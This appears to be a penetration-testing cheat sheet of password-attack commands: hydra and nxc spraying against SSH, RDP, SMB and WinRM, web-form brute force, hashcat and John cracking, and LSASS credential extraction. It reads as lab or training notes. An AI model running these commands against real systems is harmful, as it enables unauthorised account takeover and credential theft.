Password Attacks

Password Spraying

Scenario	Command
SSH	hydra -L users.txt -p $PASSWORD ssh://$TARGET
RDP	hydra -L users.txt -p $PASSWORD rdp://$TARGET
SMB	nxc smb $TARGET -u users.txt -p $PASSWORD --no-bruteforce
WinRM	nxc winrm $TARGET -u users.txt -p $PASSWORD --no-bruteforce

Reference: https://www.hackthebox.com/files/cheatsheet-using-crackmapexec.pdf

---

Mutating Wordlists (Hashcat Rules)

When the target has a password policy (e.g., uppercase, special character, number), mutate your wordlist to match.

Rule Syntax

Function	Description	Example
$X	Append character X	$1 appends "1"
^X	Prepend character X	^3 prepends "3"
c	Capitalize first letter

Applying Rules

Preview the mutations without cracking:

hashcat -r demo.rule --stdout wordlist.txt

Same line = consecutive rules on one password. Separate lines = separate mutations (multiplies the wordlist):

# demo1.rule (both applied to each password)
$1 c
# Result: Password1, Iloveyou1, Princess1

# demo2.rule (each applied separately)
$1
c
# Result: password1, Password, iloveyou1, Iloveyou...

Example: Meeting a Password Policy

For a policy requiring uppercase + special char + number:

$1 c $!
$2 c $!
$1 $2 $3 c $!

Cracking with Rules

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules.rule --force

Built-in Hashcat Rules

Located in /usr/share/hashcat/rules/:

• best64.rule — most commonly effective
• rockyou-30000.rule — comprehensive
• d3ad0ne.rule — large rule set

Hashcat Attack Modes

-a	Mode	Use
0	Straight (wordlist)	Default; combine with -r rules
1	Combinator	Joins words from two lists
3	Brute-force / mask	Known password structure
6	Hybrid wordlist + mask	Word followed by a pattern

Mask attack for a known pattern (e.g. Companyname + 4 digits): charsets are ?u upper, ?l lower, ?d digit, ?s special, ?a all:

hashcat -m 0 -a 3 hashes.txt '?u?l?l?l?l?l?l?l?d?d?d?d'
hashcat -m 0 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt '?d?d?d?d'   # word + 4 digits

---

Cracking Methodology

1. Extract hashes from the target
2. Identify hash type using hash-identifier or hashid (hashid -m <hash> prints the matching Hashcat mode directly)
3. Format hashes for your cracking tool (use john's *2john scripts if needed)
4. Calculate cracking time to choose the right approach
5. Attack the hash

warning

hash-identifier can't always distinguish between MD2, MD4, and MD5. Double-check with other tools and context about where the hash came from.

Common Hash Types

Source	Hashcat Mode	Tool
NTLM	-m 1000	hashcat
NetNTLMv2	-m 5600	hashcat
Kerberoast (TGS)	-m 13100	hashcat
AS-REP	-m 18200	hashcat
SHA-512 (Linux)	--format=sha512crypt	john

JtR Format Conversion Scripts

The John the Ripper suite includes transformation scripts for various file formats:

• ssh2john — SSH private keys
• keepass2john — KeePass databases
• zip2john — ZIP files

These scripts can also format hashes for Hashcat.

---

Hydra

SSH brute force:

hydra -t 1 -l $USER -P /usr/share/wordlists/rockyou.txt -s 22 ssh://$TARGET

HTTP POST login form — the most common web case. Supply the path, the POST body with ^USER^/^PASS^ placeholders, and a failure string:

hydra -l admin -P rockyou.txt $TARGET http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

Add -f to stop at the first valid pair and -V to see each attempt. For HTTP Basic auth use http-get; for a GET-based form use http-get-form.

Cracking with John the Ripper

Basic wordlist crack and viewing results:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt                         # display already-cracked passwords
john hash.txt --format=NT --wordlist=rockyou.txt

John auto-detects most formats; force one with --format= when it guesses wrong.

---

Windows Stored Credentials

LSASS caches NTLM hashes and other credentials. It runs as SYSTEM, so you need Administrator or higher privileges plus SeDebugPrivilege to extract credentials.

You can elevate to SYSTEM using PsExec or Mimikatz's token elevation function (requires SeImpersonatePrivilege, which all local admins have by default).

Credentials are stored when:

• Users log on interactively
• Services run with user accounts
• Scheduled tasks use stored credentials